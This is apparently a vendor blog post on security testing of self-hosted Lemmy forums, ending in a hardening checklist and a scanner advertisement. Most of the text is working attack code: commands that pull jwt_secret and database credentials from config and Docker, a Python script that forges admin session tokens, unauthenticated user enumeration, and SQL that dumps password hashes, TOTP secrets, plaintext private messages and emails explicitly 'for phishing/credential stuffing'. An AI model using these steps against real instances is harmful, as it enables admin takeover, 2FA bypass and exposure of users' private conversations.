Federated Forum Security Testing

Lemmy Security Testing: Default Credentials, API Key, Database, and Federated Forum

📅 July 3, 2026 ⏱ 10 min read 🏷 Lemmy, Federated Forum Security, JWT Secret, ActivityPub, PostgreSQL, Private Messages, User Enumeration, Admin Credentials

Lemmy is a widely deployed self-hosted federated link aggregator (Reddit alternative) — organizations and communities use it to host private or public discussion forums. Key assessment areas: jwt_secret in lemmy.hjson signs all authentication tokens enabling session forgery for any user including admins; the ActivityPub federation API enables unauthenticated user enumeration; PostgreSQL stores all private messages unencrypted; and the admin account created during setup frequently uses weak credentials. This guide covers systematic Lemmy security assessment.

JWT Secret Extraction and Session Token Forgery
User Enumeration and API Reconnaissance
PostgreSQL Database Extraction
Lemmy Security Hardening

JWT Secret Extraction and Session Token Forgery

# Lemmy — JWT secret extraction and session token forgery
LEMMY_URL="https://lemmy.example.com"

# lemmy.hjson — main Lemmy configuration (contains JWT secret)
cat /etc/lemmy/lemmy.hjson 2>/dev/null
cat /opt/lemmy/lemmy.hjson 2>/dev/null
# Contains:
# jwt_secret: "random-string-here"  <-- signs ALL auth tokens
# database: { uri: "postgresql://lemmy:PASSWORD@localhost:5432/lemmy" }
# email: { smtp_password: "..." }

# Docker environment — Lemmy secrets
docker inspect lemmy 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['LEMMY_', 'JWT', 'DATABASE', 'POSTGRES', 'SECRET']):
            print(e)
" 2>/dev/null

# Forge a Lemmy JWT with extracted jwt_secret
# Lemmy uses HS256 JWT with claims: sub (user_id), iss (instance domain), iat
JWT_SECRET="extracted-jwt-secret"
TARGET_USER_ID=2  # 1 is typically the first admin

python3 -c "
import json, base64, hmac, hashlib, time

secret = '${JWT_SECRET}'
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {
    'sub': ${TARGET_USER_ID},
    'iss': 'lemmy.example.com',
    'iat': int(time.time())
}

h = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()
sig_input = f'{h}.{p}'
sig = hmac.new(secret.encode(), sig_input.encode(), hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
token = f'{h}.{p}.{sig_b64}'
print(f'Forged JWT for user {TARGET_USER_ID}:')
print(token)
" 2>/dev/null

# Test forged JWT
FORGED_JWT="forged.token.here"
curl -s "${LEMMY_URL}/api/v3/site" \
  -H "Authorization: Bearer ${FORGED_JWT}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
me = d.get('my_user',{})
lu = me.get('local_user_view',{})
print(f'Authenticated as: {lu.get(\"person\",{}).get(\"name\")}')
print(f'Admin: {lu.get(\"local_user\",{}).get(\"admin\")}')
print(f'Email: {lu.get(\"local_user\",{}).get(\"email\")}')
" 2>/dev/null

User Enumeration and API Reconnaissance

# Lemmy user enumeration and API reconnaissance (unauthenticated)
LEMMY_URL="https://lemmy.example.com"

# GET /api/v3/site — instance info without auth (reveals admin list)
curl -s "${LEMMY_URL}/api/v3/site" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
site = d.get('site_view',{})
print(f'Instance: {site.get(\"site\",{}).get(\"name\")}')
print(f'Description: {site.get(\"site\",{}).get(\"description\",\"\")[:100]}')
admins = d.get('admins',[])
print(f'Admins ({len(admins)}):')
for a in admins:
    p = a.get('person',{})
    print(f'  id={p.get(\"id\")} name={p.get(\"name\")} admin=True')
" 2>/dev/null

# GET /api/v3/person/list — enumerate all users (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/person/list?page=1&limit=50&sort=New" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('persons',[])
print(f'Users found: {len(users)}')
for u in users[:10]:
    p = u.get('person',{})
    print(f'  id={p.get(\"id\")} name={p.get(\"name\")} admin={p.get(\"admin\")}')
" 2>/dev/null

# ActivityPub — user enumeration via federation API (no auth)
USERNAMES=("admin" "lemmy" "moderator")
for U in "${USERNAMES[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Accept: application/activity+json" \
    "${LEMMY_URL}/u/${U}" 2>/dev/null)
  echo "User '${U}': HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  User exists!"
done

# GET /api/v3/community/list — all communities (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/community/list?type_=Local&page=1&limit=50" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
comms = d.get('communities',[])
print(f'Communities: {len(comms)}')
for c in comms[:5]:
    cv = c.get('community',{})
    print(f'  {cv.get(\"name\")} ({cv.get(\"id\")}) posts={c.get(\"counts\",{}).get(\"posts\")}')
" 2>/dev/null

PostgreSQL Database Extraction

# Lemmy PostgreSQL database extraction
LEMMY_DB="lemmy"

psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
-- All local user accounts with credentials
SELECT lu.id,
       p.name as username,
       lu.email,
       lu.password_encrypted,  -- bcrypt hash
       lu.admin,
       lu.totp_2fa_secret,    -- TOTP secret if 2FA enabled
       p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE p.local = true
ORDER BY lu.admin DESC, p.created
LIMIT 20;
EOF

-- All private messages (stored unencrypted)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT pm.id,
       creator.name as sender,
       recipient.name as receiver,
       pm.content,            -- message body in plaintext
       pm.read,
       pm.published
FROM private_message pm
JOIN person creator ON pm.creator_id = creator.id
JOIN person recipient ON pm.recipient_id = recipient.id
ORDER BY pm.published DESC
LIMIT 20;
EOF

-- JWT secret from local_site table (some versions store it here)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT site_id, jwt_secret, actor_id FROM local_site LIMIT 1;
-- jwt_secret here overrides lemmy.hjson in some configurations
-- actor_id is the ActivityPub ID (public instance info)
EOF

-- All email addresses for phishing/credential stuffing
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT lu.email, p.name, lu.admin,
       lu.email_verified,
       p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE lu.email IS NOT NULL
ORDER BY lu.admin DESC;
EOF

Lemmy Security Hardening

Lemmy Security Hardening Checklist:

Protect lemmy.hjson and rotate jwt_secret immediately if exposed — Lemmy's jwt_secret is used to sign all authentication tokens; any user who obtains the jwt_secret can forge valid authentication tokens for any user account on the instance including admins by simply constructing a JWT with the target user's ID and signing it with the known secret; the jwt_secret is stored in lemmy.hjson which must be protected with restrictive file permissions (chmod 600, owned by the lemmy service account); verify that lemmy.hjson is not readable by web server processes; if jwt_secret has been exposed, change it immediately — all existing sessions will be invalidated, requiring all users to re-login, but this is the only way to invalidate tokens signed with the compromised secret; store lemmy.hjson outside the web root and outside any directories accessible via Docker volume mounts that are world-readable
Restrict the user enumeration API for private instances — Lemmy's GET /api/v3/person/list endpoint returns a paginated list of all users without authentication by default; for private community instances, this exposes the full user roster including admin accounts; configure Lemmy with listing_type=Local restrictions and consider whether the instance should be federation-enabled at all for private use; the ActivityPub /u/{username} endpoint also allows user existence checking without authentication as it's part of the federation protocol; if running a private internal instance, disable federation entirely (federation.enabled: false in lemmy.hjson) to eliminate the ActivityPub enumeration surface and prevent data leaking to external servers
Understand that Lemmy private messages are stored unencrypted — Lemmy's private messaging system stores all messages in the private_message PostgreSQL table in plaintext; there is no end-to-end encryption; any database administrator or anyone with PostgreSQL read access can read all private conversations; inform users of this limitation — Lemmy private messages provide social, not cryptographic, privacy; do not use Lemmy private messages for sensitive communications; implement encrypted PostgreSQL connections (ssl: require) and encrypted database backups; implement database access controls so only the Lemmy application user can read the private_message table; consider a data retention policy to automatically delete old private messages after a defined period
Enable two-factor authentication for admin accounts and audit the admin roster — Lemmy admin accounts have full control over all communities, posts, comments, and user accounts on the instance; use a strong unique password for all admin accounts; enable TOTP two-factor authentication for admin accounts; be aware that the TOTP secret (totp_2fa_secret) is stored in the local_user table in the database — if the database is compromised, 2FA for all users is bypassed; regularly audit the admin list via GET /api/v3/site to detect unauthorized privilege escalation; Lemmy's first registered user automatically becomes admin — verify this is the intended administrator and not a test account
Secure the PostgreSQL database connection and credentials — Lemmy's lemmy.hjson contains the database URI including the PostgreSQL password; restrict PostgreSQL to accept connections only from the Lemmy application server (localhost or specific IP); use a dedicated PostgreSQL user with permissions limited to the Lemmy database only (no superuser, no CREATE DATABASE); change the default PostgreSQL user password from common defaults; enable pg_hba.conf to require md5 or scram-sha-256 authentication for the lemmy database user; never expose PostgreSQL port 5432 to the public internet; implement encrypted PostgreSQL backups and test restoration procedures

Security Test	Method	Risk
jwt_secret extraction and admin session token forgery	Read lemmy.hjson jwt_secret — forge HS256 JWT with admin user ID; full admin API access including user banning, content deletion, instance-wide moderation actions	Critical
Unauthenticated user enumeration	GET /api/v3/person/list — full user roster without authentication; GET /api/v3/site reveals all admin user IDs; ActivityPub /u/{username} user existence checking	High
PostgreSQL private_message plaintext extraction	SELECT content FROM private_message — all private conversations stored unencrypted; complete message history for all users	High
local_user table credential and email extraction	SELECT email, password_encrypted, totp_2fa_secret FROM local_user — all bcrypt hashes, email addresses, and TOTP secrets enabling 2FA bypass	High
Database URI extraction from lemmy.hjson	Read lemmy.hjson database.uri — PostgreSQL connection string with username and password; full database access	High

Automate Lemmy Security Testing

Ironimo tests Lemmy deployments for lemmy.hjson jwt_secret extraction and admin session token forgery, unauthenticated user enumeration via person/list API, ActivityPub federation user enumeration, PostgreSQL private_message plaintext content extraction, local_user email and bcrypt hash extraction, totp_2fa_secret TOTP bypass, local_site jwt_secret database entry, admin credential brute-force testing, community enumeration without authentication, and Docker environment variable jwt_secret and database credential exposure.

Start free scan

Table of Contents

JWT Secret Extraction and Session Token Forgery

User Enumeration and API Reconnaissance

PostgreSQL Database Extraction

Lemmy Security Hardening

Automate Lemmy Security Testing